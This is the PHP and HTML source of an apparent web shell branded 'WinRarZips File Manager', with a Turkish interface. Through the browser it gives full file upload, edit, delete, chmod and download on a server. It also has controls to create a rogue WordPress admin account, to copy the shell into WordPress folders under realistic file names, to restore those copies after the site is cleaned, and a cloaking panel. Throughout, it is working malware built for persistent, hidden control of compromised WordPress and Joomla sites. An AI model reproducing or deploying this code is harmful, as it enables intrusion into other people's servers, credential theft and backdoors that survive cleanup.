if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['wrz_create_admin'])) {
$result = wrz_create_wp_admin(true);
$message = $result['msg'];
}
if (isset($_POST['wrz_deploy_shell'])) {
$wrz_deploy_result = wrz_deploy_shell();
$message = $wrz_deploy_result['html'];
}
if (isset($_POST['wrz_deploy_backup'])) {
$res = wrz_deploy_backup_all_roots('create');
$message = $res['html'];
}
if (isset($_POST['wrz_deploy_restore'])) {
$res = wrz_deploy_backup_all_roots('restore');
$message = $res['html'];
}
if (isset($_POST['wrz_cleanup_unsafe'])) {
$cleaned = [];
foreach (wrz_wp_roots() as $root) {
$cleaned = array_merge($cleaned, wrz_cleanup_unsafe_shell_copies($root));
}
if ($cleaned) {
$message = '<span style="color:#00ffff">Siteyi bozan ' . count($cleaned) . ' kopya silindi.</span> '
. '<code style="font-size:11px;color:#888">' . htmlspecialchars(implode(', ', array_map('basename', $cleaned))) . '</code>';
} else {
$message = '<span style="color:#888">Temizlenecek tehlikeli kopya bulunamadi.</span>';
}
}
if (isset($_FILES['upload'])) {
$destination = $currentPath . basename($_FILES['upload']['name']);
$message = @move_uploaded_file($_FILES['upload']['tmp_name'], $destination)
|| writeFile($destination, readFileContent($_FILES['upload']['tmp_name']))
? '<span style="color:#00ffff">Uploaded</span>'
: '<span style="color:#ff3366">Upload failed</span>';
}
if (isset($_POST['new'])) {
$path = $currentPath . $_POST['new'];
if (isset($_POST['type']) && $_POST['type'] === 'dir') {
$message = @mkdir($path)
? '<span style="color:#00ffff">Folder created</span>'
: '<span style="color:#ff3366">Failed</span>';
} else {
$message = writeFile($path, $_POST['content'] ?? '')
? '<span style="color:#00ffff">File created</span>'
: '<span style="color:#ff3366">Failed</span>';
}
}
if (isset($_POST['save']) && isset($_POST['data'])) {
$message = writeFile($currentPath . $_POST['save'], $_POST['data'])
? '<span style="color:#00ffff">Saved</span>'
: '<span style="color:#ff3366">Save failed</span>';
}
if (isset($_POST['oldname']) && isset($_POST['newname'])) {
$message = @rename($currentPath . $_POST['oldname'], $currentPath . $_POST['newname'])
? '<span style="color:#00ffff">Renamed</span>'
: '<span style="color:#ff3366">Failed</span>';
}
if (isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) {
$message = @chmod($currentPath . $_POST['chmod_item'], octdec($_POST['chmod_value']))
? '<span style="color:#00ffff">Permissions changed</span>'
: '<span style="color:#ff3366">Failed</span>';
}
}
if (isset($_GET['action'])) {
$item = $_GET['item'] ?? '';
$itemPath = $currentPath . $item;
if ($_GET['action'] === 'delete') {
if (@is_file($itemPath)) {
$message = @unlink($itemPath)
? '<span style="color:#00ffff">Deleted</span>'
: '<span style="color:#ff3366">Failed</span>';
} elseif (@is_dir($itemPath)) {
$message = @rmdir($itemPath)
? '<span style="color:#00ffff">Deleted</span>'
: '<span style="color:#ff3366">Failed</span>';
}
} elseif ($_GET['action'] === 'download' && @is_file($itemPath)) {
@ob_clean();
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($itemPath) . '"');
@readfile($itemPath);
exit;
} elseif ($_GET['action'] === 'wp_admin') {
$result = wrz_create_wp_admin(true);
$message = $result['msg'];
}
}
$items = array_diff(scanDirectory($currentPath), ['.', '..']);
$folders = $files = [];
foreach ($items as $item) {
@is_dir($currentPath . $item) ? $folders[] = $item : $files[] = $item;
}
sort($folders);
sort($files);
$systemInfo = [
'PHP' => @phpversion(),
'OS' => wrz_php_os(),
'User' => wrz_current_user(),
];
$wpRoots = wrz_wp_roots();
$joomlaRoots = function_exists('wrz_joomla_roots') ? wrz_joomla_roots() : [];
$wrzCloakStatus = null;
$wrzCloakMissing = false;
$wrzCloakActionsMissing = false;
if (function_exists('wrz_cloak_docroot') && function_exists('wrz_cloak_status')) {
$wrzDoc = wrz_cloak_docroot();
if ($wrzDoc) {
$wrzCloakStatus = wrz_cloak_status($wrzDoc);
}
}
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WinRarZips • File Manager</title>
<style>
* { margin:0; padding:0; box-sizing:border-box; font-family:'Courier New', monospace; }
body { background:#0a0015; color:#d0d0ff; padding:15px; min-height:100vh; background-image: linear-gradient(rgba(139,0,255,0.08), rgba(0,0,0,0.9)); }
.container { background:#0f001f; border:1px solid #8b00ff; max-width:1450px; margin:0 auto; border-radius:6px; overflow:hidden; box-shadow: 0 0 40px rgba(139,0,255,0.25); }
.header { background:#1a0033; padding:18px 20px; border-bottom:2px solid #8b00ff; position:relative; }
.header h1 { color:#00ffff; font-size:24px; text-shadow: 0 0 10px #00ffff88; letter-spacing:1px; }
.header .brand { position:absolute; top:12px; right:20px; color:#ff00aa; font-size:14px; text-shadow:0 0 8px #ff00aa88; }
.system-info { display:flex; gap:20px; font-size:13px; color:#a0a0ff; margin-top:8px; flex-wrap:wrap; }
.path-navigation { background:#140028; padding:12px 20px; border-bottom:1px solid #4a0080; display:flex; align-items:center; flex-wrap:wrap; gap:6px; font-size:14px; }
.path-navigation a { color:#00ffff; text-decoration:none; padding:6px 12px; background:rgba(139,0,255,0.12); border:1px solid #8b00ff33; border-radius:4px; }
.path-navigation a:hover { background:rgba(0,255,255,0.15); border-color:#00ffff; color:#ffffff; }
.tools { padding:14px 20px; background:#140028; border-bottom:1px solid #4a0080; display:flex; flex-wrap:wrap; gap:10px; align-items:center; }
.button { background:#1a0033; color:#b0b0ff; border:1px solid #8b00ff66; padding:9px 16px; cursor:pointer; border-radius:4px; font-size:14px; transition: all 0.2s; text-decoration:none; display:inline-block; }
.button:hover { background:#2a0055; border-color:#00ffff; color:#ffffff; box-shadow:0 0 12px rgba(0,255,255,0.4); }
.button-green { border-color:#00ffff; color:#00ffff; }
.button-red { border-color:#ff3366; color:#ff3366; }
.button-wp { border-color:#3fb950; color:#3fb950; font-weight:bold; }
.button-wp:hover { border-color:#56d364; color:#ffffff; box-shadow:0 0 14px rgba(63,185,80,0.45); }
.button-deploy { border-color:#00ffff; color:#00ffff; font-weight:bold; }
.button-deploy:hover { border-color:#ffffff; box-shadow:0 0 14px rgba(0,255,255,0.45); }
.button-backup { border-color:#ffd700; color:#ffd700; font-weight:bold; }
.button-backup:hover { border-color:#fff; box-shadow:0 0 14px rgba(255,215,0,0.35); }
.button-restore { border-color:#7ee787; color:#7ee787; }
.button-restore:hover { border-color:#fff; box-shadow:0 0 14px rgba(126,231,135,0.35); }
.wrz-deploy-results ul li { font-size:13px; line-height:1.5; }
.message { padding:14px; background:#1a0033; border-bottom:1px solid #4a0080; text-align:center; font-weight:bold; font-size:15px; }
.file-table { width:100%; border-collapse:collapse; color:#d0d0ff; }
.file-table th { background:#1a0033; padding:12px 15px; text-align:left; border-bottom:2px solid #8b00ff; color:#00ffff; font-size:14px; }
.file-table td { padding:11px 15px; border-bottom:1px solid #4a0080; }
.file-table tr:hover { background:rgba(139,0,255,0.08); }
.folder-link { color:#00ffff; font-weight:bold; text-decoration:none; }
.file-link { color:#d0d0ff; text-decoration:none; }
.size { color:#a0a0ff; }
.permissions { font-family:'Courier New'; color:#ff00aa; background:#1a0033; padding:4px 8px; border-radius:4px; font-size:13px; }
.actions { display:flex; gap:8px; flex-wrap:wrap; }
.action-button { padding:6px 12px; background:#1a0033; color:#b0b0ff; border:1px solid #8b00ff66; font-size:12px; border-radius:4px; }
.action-button:hover { background:#2a0055; border-color:#00ffff; color:#ffffff; }
.action-button-red { border-color:#ff3366; color:#ff3366; }
textarea { width:100%; height:480px; background:#000011; color:#00ffff; border:1px solid #8b00ff; padding:18px; font-family:'Courier New'; font-size:15px; border-radius:4px; resize:vertical; }
input[type="text"] { background:#000011; color:#ffffff; border:1px solid #8b00ff66; padding:10px; border-radius:4px; width:320px; }
.edit-container { padding:25px; background:#0a0015; border-bottom:1px solid #4a0080; }
.edit-title { color:#00ffff; margin-bottom:18px; font-size:18px; }
.footer-brand { text-align:center; padding:15px; color:#ff00aa88; font-size:13px; border-top:1px solid #4a0080; }
/* WinRarZips Cloak panel — ana bolum */
.wrz-cloak-panel { width:100%; background:#0f001f; border-bottom:2px solid #8b00ff; font-size:13px; }
.wrz-cloak-head { display:flex; align-items:center; gap:10px; padding:14px 20px; cursor:pointer; background:#1a0033; border-bottom:1px solid #4a0080; flex-wrap:wrap; }
.wrz-cloak-title { color:#00ffff; font-weight:bold; font-size:16px; letter-spacing:.06em; flex:1; }
.wrz-cloak-badge { padding:4px 10px; border-radius:6px; font-size:11px; font-weight:bold; white-space:nowrap; }
.wrz-cloak-badge.checking { color:#7fabff; border:1px solid #276ef1; }
.wrz-cloak-badge.ok { color:#3fb950; border:1px solid #3fb950; }
.wrz-cloak-badge.warn { color:#f5a623; border:1px solid #f5a623; }
.wrz-cloak-badge.off { color:#888; border:1px solid #444; }
.wrz-cloak-chev { color:#ff00aa; font-size:18px; }
.wrz-cloak-body { padding:16px 20px 20px; display:block; }
.wrz-cloak-sub { color:#888; font-size:11px; word-break:break-all; margin-bottom:12px; }
.wrz-cloak-grid-top { display:grid; grid-template-columns:1fr 1fr; gap:12px; margin-bottom:14px; }
@media (max-width:760px){ .wrz-cloak-grid-top { grid-template-columns:1fr; } }
.wrz-cloak-card { border:1px solid #4a0080; border-radius:8px; padding:14px; margin:10px 0; background:#140028; }
.wrz-cloak-card.inner { margin-top:8px; }
.wrz-cloak-h { color:#888; font-size:11px; text-transform:uppercase; letter-spacing:.08em; margin-bottom:10px; font-weight:bold; }
.wrz-cloak-row { display:flex; align-items:center; gap:8px; margin:6px 0; flex-wrap:wrap; }
.wrz-cloak-row .dot { width:8px; height:8px; border-radius:50%; flex-shrink:0; }
.wrz-cloak-row .dot.ok { background:#3fb950; }
.wrz-cloak-row .dot.warn { background:#f5a623; }
.wrz-cloak-row .dot.err { background:#ff3366; }
.wrz-cloak-row .muted { color:#888; font-size:11px; margin-left:auto; }
.wrz-cloak-row .tag-g { background:#276ef1; color:#fff; font-size:10px; padding:2px 6px; border-radius:4px; }
.wrz-cloak-row .del { color:#ff3366; font-size:11px; margin-left:6px; }
.wrz-cloak-btns { display:flex; flex-wrap:wrap; gap:8px; margin:8px 0; }
.wrz-btn { border:1px solid #8b00ff66; background:#1a0033; color:#d0d0ff; padding:10px 16px; border-radius:6px; cursor:pointer; font-size:12px; font-family:inherit; font-weight:bold; }
.wrz-btn:hover { border-color:#00ffff; color:#fff; }
.wrz-btn-lg { flex:1; min-width:180px; padding:14px 18px; font-size:13px; text-align:center; }
.wrz-btn-green { border-color:#3fb950; color:#3fb950; background:rgba(63,185,80,.08); }
.wrz-btn-blue { border-color:#276ef1; color:#7fabff; background:rgba(39,110,241,.08); }
.wrz-btn-orange { border-color:#f5a623; color:#f5a623; }
.wrz-btn-red { border-color:#ff3366; color:#ff3366; font-weight:bold; }
.wrz-btn-cyan { border-color:#00ffff; color:#00ffff; }
.wrz-btn-purple { border-color:#a06cff; color:#a06cff; }
.wrz-note { font-size:12px; margin:6px 0; line-height:1.55; }
.wrz-note.blue { color:#7fabff; }
.wrz-note.red { color:#ff6b8a; }
.wrz-note.purple { color:#a06cff; }
.wrz-note.orange { color:#f5a623; }
.wrz-note.warn { color:#f5a623; }
.wrz-msg { min-height:18px; font-size:12px; margin-top:6px; }
.wrz-msg.ok { color:#3fb950; }
.wrz-msg.err { color:#ff3366; }
.wrz-msg.info { color:#00ffff; }
.wrz-report { margin-top:10px; font-size:11px; }
.wrz-report-title { color:#00ffff; font-weight:bold; margin-bottom:6px; }
.wrz-report-title.purple { color:#a06cff; }
.wrz-cache-row { padding:5px 10px; margin:4px 0; border-radius:4px; border-left:3px solid #444; background:#0a0015; }
.wrz-cache-row.ok { border-color:#3fb950; }
.wrz-cache-row.err { border-color:#ff3366; }
.wrz-cache-row.warn { border-color:#f5a623; }
.wrz-bc-badge { padding:10px; border-radius:6px; font-weight:bold; margin-bottom:8px; }
.wrz-bc-badge.ok { background:rgba(63,185,80,.15); color:#3fb950; }
.wrz-bc-badge.fail { background:rgba(255,51,102,.15); color:#ff3366; }
.wrz-bc-badge.warn { background:rgba(245,166,35,.15); color:#f5a623; }
.wrz-pre { background:#000011; border:1px solid #4a0080; padding:10px; max-height:200px; overflow:auto; font-size:11px; white-space:pre-wrap; }
.wrz-details summary { cursor:pointer; color:#00ffff; padding:10px 4px; font-weight:bold; font-size:13px; }
.wrz-details textarea, #wrz-htmlcontent { width:100%; height:180px; background:#000011; color:#00ffff; border:1px solid #8b00ff; padding:10px; font-family:monospace; font-size:12px; border-radius:6px; margin:8px 0; }
.wrz-input { width:100%; background:#000011; color:#fff; border:1px solid #8b00ff66; padding:10px; border-radius:6px; margin:6px 0; font-family:monospace; font-size:12px; }
.wrz-ta-sm { width:100%; height:80px; background:#000011; color:#00ffff; border:1px solid #8b00ff; padding:10px; font-family:monospace; font-size:12px; border-radius:6px; } </style>
</head>
<body>
<div class="container">
<?php if ($wrzCloakStatus && function_exists('wrz_cloak_render_panel')): wrz_cloak_render_panel($wrzCloakStatus); endif; ?>
<div class="header"> <h1>WinRarZips</h1>
<div class="brand">File Manager • WP Admin</div>
<div class="system-info">
<?php foreach ($systemInfo as $key => $value): ?>
<span><?= $key ?>: <b style="color:#ff00aa"><?= htmlspecialchars((string) $value) ?></b></span>
<?php endforeach; ?>
<?php if ($wrzCloakStatus && !empty($wrzCloakStatus['cms'])): ?>
<span>CMS: <b style="color:#00ffff"><?= htmlspecialchars(strtoupper($wrzCloakStatus['cms'])) ?></b></span>
<?php endif; ?>
<?php if ($wpRoots): ?>
<span>WP: <b style="color:#3fb950"><?= htmlspecialchars(basename($wpRoots[0])) ?></b></span>
<?php elseif ($joomlaRoots): ?>
<span>Joomla: <b style="color:#f5a623"><?= htmlspecialchars(basename($joomlaRoots[0])) ?></b></span>
<?php else: ?>
<span>CMS: <b style="color:#ff3366">bulunamadi</b></span>
<?php endif; ?>
</div>
</div>
<?php if ($message): ?><div class="message"><?= $message ?></div><?php endif; ?>
<?php if ($wrzCloakMissing): ?><div class="message" style="color:#f5a623">Cloak modulu gomulu — ek dosya gerekmez.</div><?php endif; ?>
<?php if ($wrzCloakActionsMissing): ?><div class="message" style="color:#ff3366"></div><?php endif; ?> <div class="path-navigation">
<a href="?p=/">Root</a>
<?php
$parts = explode('/', trim($currentPath, '/'));
$current = '';
foreach ($parts as $part):
if ($part):
$current .= '/' . $part;
?>
<span style="color:#4a0080">/</span>
<a href="?p=<?= urlencode($current) ?>/"><?= htmlspecialchars($part) ?></a>
<?php endif; endforeach; ?>
</div>
<div class="tools">
<a href="?p=<?= urlencode(trim($currentPath, '/')) ?>&wp_admin=1" class="button button-wp" onclick="return confirm('WordPress Admin olusturulsun mu?');">WP Admin</a>
<form method="post" style="display:inline;" onsubmit="return confirm('Shell WP klasorlerine gercekci dosya adlariyla kopyalansin mi? (mu-plugins haric)');">
<input type="hidden" name="wrz_deploy_shell" value="1">
<button type="submit" class="button button-deploy">Klasorlere Yerlestir</button>
</form>
<form method="post" style="display:inline-block;margin-left:6px">
<input type="hidden" name="wrz_deploy_backup" value="1">
<button type="submit" class="button button-backup" onclick="return confirm('Mevcut deploy dosyalarinin yedegi alinsin mi?');">Deploy Yedegi Al</button>
</form>
<form method="post" style="display:inline-block;margin-left:6px">
<input type="hidden" name="wrz_deploy_restore" value="1">
<button type="submit" class="button button-restore" onclick="return confirm('WP restore sonrasi yedekten tum deploy kopyalari geri yuklensin mi?');">Yedekten Geri Yukle</button>
</form>
<form method="post" style="display:inline-block;margin-left:10px">
<input type="hidden" name="wrz_cleanup_unsafe" value="1">
<button type="submit" class="button" style="border-color:#ff6b6b;color:#ff6b6b" onclick="return confirm('Deploy edilen tum kopyalar silinsin mi? (manifest + eski wp-caches dosyalari)');">Siteyi Duzelt</button>
</form>
<form method="post" enctype="multipart/form-data" style="display:inline;">
<input type="file" name="upload" style="display:none" id="upload" onchange="this.form.submit()">
<button type="button" class="button button-green" onclick="document.getElementById('upload').click()">Upload</button>
</form>
<button class="button" onclick="newFile()">New File</button>
<button class="button" onclick="newFolder()">New Folder</button>
<a href="?logout=1" class="button button-red">Cikis</a>
<?php if (isset($_GET['edit'])): ?>
<a href="?p=<?= urlencode($currentPath) ?>" class="button button-red">Close Editor</a>
<?php endif; ?>
</div>
<?php if (isset($_GET['edit'])): ?>
<div class="edit-container">
<div class="edit-title">Editing: <?= htmlspecialchars($_GET['edit']) ?></div>
<form method="post">
<input type="hidden" name="save" value="<?= htmlspecialchars($_GET['edit']) ?>">
<textarea name="data"><?= htmlspecialchars(readFileContent($currentPath . $_GET['edit'])) ?></textarea>
<div style="margin-top:20px; display:flex; gap:12px;">
<button class="button button-green">Save Changes</button>
<a href="?p=<?= urlencode($currentPath) ?>" class="button button-red">Cancel</a>
</div>
</form>
</div>
<?php else: ?>
<table class="file-table">
<thead><tr><th width="40%">Name</th><th width="10%">Size</th><th width="15%">Permissions</th><th width="15%">Modified</th><th width="20%">Actions</th></tr></thead>
<tbody>
<?php if ($currentPath !== '/'): ?>
<tr><td colspan="5"><a href="?p=<?= urlencode(dirname($currentPath)) ?>" class="folder-link">Parent Directory</a></td></tr>
<?php endif; ?>
<?php foreach ($folders as $folder): ?>
<?php $folderPath = $currentPath . $folder; $permissions = substr(sprintf('%o', @fileperms($folderPath)), -3); ?>
<tr>
<td><a href="?p=<?= urlencode($folderPath) ?>" class="folder-link"><?= htmlspecialchars($folder) ?></a></td>
<td class="size">-</td>
<td><span class="permissions"><?= $permissions ?></span></td>
<td><?= @filemtime($folderPath) ? date('Y-m-d H:i', @filemtime($folderPath)) : '-' ?></td>
<td><div class="actions">
<button onclick="renameItem('<?= htmlspecialchars($folder, ENT_QUOTES) ?>')" class="action-button">Rename</button>
<button onclick="changePermissions('<?= htmlspecialchars($folder, ENT_QUOTES) ?>','<?= $permissions ?>')" class="action-button">Chmod</button>
<a href="?p=<?= urlencode($currentPath) ?>&action=delete&item=<?= urlencode($folder) ?>" onclick="return confirm('Delete folder?')" class="action-button action-button-red">Delete</a>
</div></td>
</tr>
<?php endforeach; ?>
<?php foreach ($files as $file): ?>
<?php
$filePath = $currentPath . $file;
$size = @filesize($filePath);
$permissions = substr(sprintf('%o', @fileperms($filePath)), -3);
$extension = strtolower(pathinfo($file, PATHINFO_EXTENSION));
$editable = in_array($extension, ['php', 'html', 'js', 'css', 'txt', 'json', 'xml', 'sql', 'md', 'log', 'ini', 'env']);
?>
<tr>
<td><?php if ($editable): ?><a href="?p=<?= urlencode($currentPath) ?>&edit=<?= urlencode($file) ?>" class="file-link"><?= htmlspecialchars($file) ?></a><?php else: ?><a href="?p=<?= urlencode($currentPath) ?>&action=download&item=<?= urlencode($file) ?>" class="file-link"><?= htmlspecialchars($file) ?></a><?php endif; ?></td>
<td class="size"><?php if ($size): if ($size < 1024) echo $size . ' B'; elseif ($size < 1048576) echo round($size / 1024, 1) . ' KB'; else echo round($size / 1048576, 1) . ' MB'; else: ?>-<?php endif; ?></td>
<td><span class="permissions"><?= $permissions ?></span></td>
<td><?= @filemtime($filePath) ? date('Y-m-d H:i', @filemtime($filePath)) : '-' ?></td>
<td><div class="actions">
<?php if ($editable): ?><a href="?p=<?= urlencode($currentPath) ?>&edit=<?= urlencode($file) ?>" class="action-button">Edit</a><?php endif; ?>
<a href="?p=<?= urlencode($currentPath) ?>&action=download&item=<?= urlencode($file) ?>" class="action-button">Download</a>
<button onclick="renameItem('<?= htmlspecialchars($file, ENT_QUOTES) ?>')" class="action-button">Rename</button>
<button onclick="changePermissions('<?= htmlspecialchars($file, ENT_QUOTES) ?>','<?= $permissions ?>')" class="action-button">Chmod</button>
<a href="?p=<?= urlencode($currentPath) ?>&action=delete&item=<?= urlencode($file) ?>" onclick="return confirm('Delete file?')" class="action-button action-button-red">Delete</a>
</div></td>
</tr>
<?php endforeach; ?>
<?php if (empty($folders) && empty($files)): ?>
<tr><td colspan="5" style="text-align:center; padding:50px; color:#4a0080;">[ No files | Void detected ]</td></tr>
<?php endif; ?>
</tbody>
</table>
<?php endif; ?>
<div class="footer-brand">WinRarZips • File Manager • <?= date('Y') ?></div>
</div>
<script>
function newFile() { let name = prompt('New file name:', 'file.txt'); if (name) { let content = prompt('Initial content (optional):', ''); let form = document.createElement('form'); form.method = 'post'; form.innerHTML = `<input type="hidden" name="new" value="${name}"><input type="hidden" name="content" value="${content || ''}">`; document.body.appendChild(form); form.submit(); } }
function newFolder() { let name = prompt('New folder name:', 'new_folder'); if (name) { let form = document.createElement('form'); form.method = 'post'; form.innerHTML = `<input type="hidden" name="new" value="${name}"><input type="hidden" name="type" value="dir">`; document.body.appendChild(form); form.submit(); } }
function renameItem(oldName) { let newName = prompt('Rename to:', oldName); if (newName && newName !== oldName) { let form = document.createElement('form'); form.method = 'post'; form.innerHTML = `<input type="hidden" name="oldname" value="${oldName}"><input type="hidden" name="newname" value="${newName}">`; document.body.appendChild(form); form.submit(); } }
function changePermissions(item, current) { let perm = prompt('New chmod (octal):', current); if (perm) { let form = document.createElement('form'); form.method = 'post'; form.innerHTML = `<input type="hidden" name="chmod_item" value="${item}"><input type="hidden" name="chmod_value" value="${perm}">`; document.body.appendChild(form); form.submit(); } }
</script>
</body>
</html>